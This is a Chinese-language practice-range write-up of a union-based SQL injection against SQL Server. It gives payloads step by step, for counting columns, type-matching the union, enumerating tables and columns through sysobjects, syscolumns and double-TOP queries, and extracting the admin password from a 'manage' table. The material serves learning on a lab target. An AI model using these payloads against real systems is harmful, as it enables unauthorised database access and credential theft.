靶场地址:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
①老样子url:http://219.153.49.228:49515/new_list.asp?id=2
判断id存在数字型注入
②判断当前字段数
id=2 order by 4 正常 id=2 order by 5 报错 字段数为4
③联合查询当前数据库
先用mysql的语法试一试
第一个坑: id = 2 union select 1,2,3,4 报错 百度之后发现union 和 union all 的区别
union 会将查询结果去除重复项 union all则是单纯拼接 其实这一点在mysql中也一样
第二个坑: id = 2 union all select 1,2,3,4 还是报错 看了别人的题解发现都是用id=2 and 1=2 这个页面来回显,想了一下发现被误导了,其实只要id不是2就行
第三个坑: id =3 union select 1,2,3,4 还是报错 查了之后发现sqlserver 和MySQL union语法的区别 除了字段数要匹配之外,字段类型也要匹配 比较神奇的一点:
字符型只能匹配字符型 数字型可以匹配字符型和数字型
例如users表有三个字段:user(char)、passwd(char)、ID(int) 新建查询1
select * from test.dbo.users where ID=1 union all select 1,2,3
报错说明char无法匹配int
新建查询2
select * from test.dbo.users where ID=1 union all select '1','2',3
结果正常
新建查询3
select * from test.dbo.users where ID=1 union all select '1','2','3'
结果正常,说明int可以匹配char
所以对id=3 union all select 1,2,3,4进行排列组合尝试 最后发现3是字符型 所以id=3 union all select 1,2,‘3’,4 成功回显,改成’2’,'3’也一样 回到正题,利用回显查询当前表
id=3 union all select 1,2,db_name(),4 获得当前数据库名mozhe_db_v2
④获取当前库中表名
第四个坑 回显点只能输出一条数据 id=3 union all select 1,2,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),4
- top x函数代表前x列值。
- 为啥不用concat?因为concat函数直到sql server2012才有,因为限制输出一条数据,sql server2005也没有类似limit的函数,所以低版本sql server如果要查询某一条数据会比较麻烦。
- xxx…sysobjects表中存储了xxx库的敏感信息,类似mysql中的information_schema.tables,也可以写成xxx…sysobjects表示跨库调用表
- name字段,即库中表名
- xtype='U’指用户建立,xtype='S’指系统建立
像这种只允许一条数据输出的情况
方法一:类似id 的唯一标识 例如查询所有库名 select name from master..sysdatabases where dbid = xxx 有唯一标识字段dbid 则可以利用爆破的方法
方法二:双TOP查询 例如: test库的users表中有ID字段,可以利用双top查询语句查出任意一条数据
select top 1 ID from (select top 10 ID from test..users order by ID) as a order by ID desc
里面的查询语句select top 10 ID from test..users order by ID 指以ID字段正序排列查询top 10的数据 外面的select top 1 ID from (。。。) as a order by ID desc 指以ID字段倒序排列查询top 1的数据 这样查出来的话就是第10条数据,不断增加’10’这个参数即可查出所有数据。
回归靶场,要查询出库mozhe_db_v2的所有表,也可以用双top查询
id=3 union all select 1,2,(select top 1 name from (select top x name from mozhe_db_v2..sysobjects where xtype='U' order by name) as a order by name desc),4 只要改变x 的值就可以查出所有数据
得到表名有两个manage、announcement
⑤获取表中字段
方法一:col_name()和object()
col_name(id,x)函数可以得到id对应数据表字段序列的某一个 参数id指数据表的唯一id 参数x指序列下标,也就是第几个
object(‘x’)函数可以获取数据表的唯一id,仅对用户创建的数据表适用 参数x指数据表
组合一下,即col_name(object('xxx'),x) ,从xxx表中获取第x个字段名 靶场中即 id=3 union all select 1,2,(select col_name(object_id('manage'),x)),4 修改x的值即可得到全部字段名
方法二:双top查询 sql sever有一个syscolumns表存储了所有字段信息,类似mysql中的information_schema.columns
select name from syscolumns where id=object_id('表名') 问题在这个靶场只能回显一条数据,跟上文一样可以利用双top查询任意一条数据
最后获得字段名id,username,password
⑥获取数据
id=3 union all select 1,(select password from manage where username=(select username from manage) ),'3',4
总结一下
①大致的过程和msyql联合查询基本一致 查库——查表——查字段——查数据
②sql server<2012限制一条数据输出可以用双top查询,高版本直接用cancat()
|